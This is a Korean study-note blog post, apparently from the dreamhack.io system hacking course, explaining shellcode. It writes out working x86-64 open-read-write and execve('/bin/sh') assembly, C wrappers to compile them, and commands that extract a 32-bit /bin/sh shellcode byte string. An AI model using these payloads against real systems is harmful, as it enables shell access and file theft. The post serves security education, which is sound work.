셸코드 (Shellcode)
해킹에서 상대 시스템을 공격하는 것을 익스플로잇(Exploit)이라고 부른다.
익스플로잇과 관련된 첫 번째 공격 기법 Shellcode에 대해 알아보자.
셸코드는 익스플로잇을 위해 제작된 어셈블리 코드로, 일반적으로 셸을 획득하기 위한 목적으로 사용된다.
해커가 rip를 자신이 작성한 셸코드로 옮길 수 있으면 원하는 어셈블리 코드가 실행되게 할 수 있다.
셸코드는 어셈블리어로 구성되므로 공격을 수행할 대상 아키텍처와 운영체제, 셸코드의 목적에 따라 다르게 작성된다.
orw 셸코드
orw 셸코드는 파일을 열고, 읽은 뒤 화면에 출력해주는 셸코드이다.
orw 셸코드의 의사코드
char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);
orw 셸코드를 작성하기 위해 알아야 하는 syscall
| syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
| read | 0x00 | unsigned int fd | char *buf | size_t count |
| write | 0x01 | unsigned int fd | const char *buf | size_t count |
| open | 0x02 | const char *filename | int flags | umode_t mode |
orw 셸코드 구현
(1) int fd = open(“/tmp/flag”, O_RDONLY, NULL)
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
(2) read(fd, buf, 0x30)
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
(3) write(1, buf, 0x30)
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
orw 셸코드 컴파일
대부분의 운영체제는 실행 가능한 파일의 형식을 규정하고 있다. ex) 윈도우의 PE, 리눅스의 ELF
orw.S는 ELF형식이 아니므로 리눅스에서 실행될 수 없으므로 gcc 컴파일을 통해 ELF형식으로 변형한다.
// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"push 0x67\n"
"mov rax, 0x616c662f706d742f \n"
"push rax\n"
"mov rdi, rsp # rdi = '/tmp/flag'\n"
"xor rsi, rsi # rsi = 0 ; RD_ONLY\n"
"xor rdx, rdx # rdx = 0\n"
"mov rax, 2 # rax = 2 ; syscall_open\n"
"syscall # open('/tmp/flag', RD_ONLY, NULL)\n"
"\n"
"mov rdi, rax # rdi = fd\n"
"mov rsi, rsp\n"
"sub rsi, 0x30 # rsi = rsp-0x30 ; buf\n"
"mov rdx, 0x30 # rdx = 0x30 ; len\n"
"mov rax, 0x0 # rax = 0 ; syscall_read\n"
"syscall # read(fd, buf, 0x30)\n"
"\n"
"mov rdi, 1 # rdi = 1 ; fd = stdout\n"
"mov rax, 0x1 # rax = 1 ; syscall_write\n"
"syscall # write(fd, buf, 0x30)\n"
"\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
orw 셸코드 실행
orw.c를 컴파일하고 실행하면 셸코드가 실행된다.
$ gcc -o orw orw.c -masm=intel
$ ./orw
execve 셸코드
셸(Shell)은 운영체제에 명령을 내리기 위해 사용되는 사용자의 인터페이스,
커널(Kernel)은 운영체제의 핵심 기능을 하는 프로그램이다.
셸을 획득하면 시스템을 제어할 수 있게 되므로 셸 획득을 시스템 해킹의 성공으로 여긴다.
execve 셸코드는 임의의 프로그램을 실행하는 셸코드로, 이를 이용하면 서버의 셸을 획득할 수 있다.
execve 시스템 콜
execve 셸코드는 execve 시스템 콜만으로 구성된다.
| syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
| execve | 0x3b | const char *filename | const char *const *argv | const char *const *envp |
argv는 실행파일에 넘겨줄 인자, envp는 환경변수다.
/bin/sh를 실행하는 execve 셸코드 작성 : execve("/bin/sh", null, null)
;Name: execve.S
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp ; rdi = "/bin/sh\x00"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall ; execve("/bin/sh", null, null)
execve 셸코드 컴파일 및 실행
// File name: execve.c
// Compile Option: gcc -o execve execve.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"mov rax, 0x68732f6e69622f\n"
"push rax\n"
"mov rdi, rsp # rdi = '/bin/sh'\n"
"xor rsi, rsi # rsi = NULL\n"
"xor rdx, rdx # rdx = NULL\n"
"mov rax, 0x3b # rax = sys_execve\n"
"syscall # execve('/bin/sh', null, null)\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
objdump를 이용한 shellcode 추출 : shellcode를 byte code(opcode)의 형태로 추출하는 방법
; File name: shellcode.asm
section .text
global _start
_start:
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov al, 0xb
int 0x80
(1) 아래 명령어를 입력하면 오브젝트 파일인 shellcode.o를 얻을 수 있다.
$ sudo apt-get install nasm
$ nasm -f elf shellcode.asm
$ objdump -d shellcode.o
(2) objcopy 명령어로 shellcode.bin 파일을 얻을 수 있고, xxd 명령어로 16진수 형태로 확인할 수 있다.
$ objcopy --dump-section .text=shellcode.bin shellcode.o
$ xxd shellcode.bin
(3) xxd 출력 결과에서 바이트 값들을 추출하면 바이트 코드 형태의 셸코드를 만들 수 있다.
# execve /bin/sh shellcode:
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"
Quiz
- stderr, stdin, stdout의 파일 지정자 stderr = 2, stdin = 0, stdout = 1
- execve로 셸을 획득하기 위해 쉘코드의 (a)에 들어갈 값 0x7fffffffc278
- execve로 셸을 획득하기 위해 쉘코드의 (b)에 들어갈 값 0x3b
pwndbg> x/s 0x7fffffffc278 "/bin/sh\x00" mov rdi, (a) xor rsi, rsi xor rdx, rdx mov rax, (b) syscall
출처 : dreamhack.io - System Hacking 로드맵
'Security > System Hacking' 카테고리의 다른 글
| [System Hacking] Dreamhack - Return to Shellcode 풀이 (0) | 2025.01.29 |
|---|---|
| [System Hacking] Dreamhack - basic_exploitation_001 풀이 (0) | 2025.01.23 |
| [System Hacking] Dreamhack - basic_exploitation_000 풀이 (0) | 2025.01.23 |
| [System Hacking] Dreamhack - Return Address Overwrite 풀이 (0) | 2025.01.22 |
| [System Hacking] Dreamhack - shell_basic 풀이 (0) | 2025.01.10 |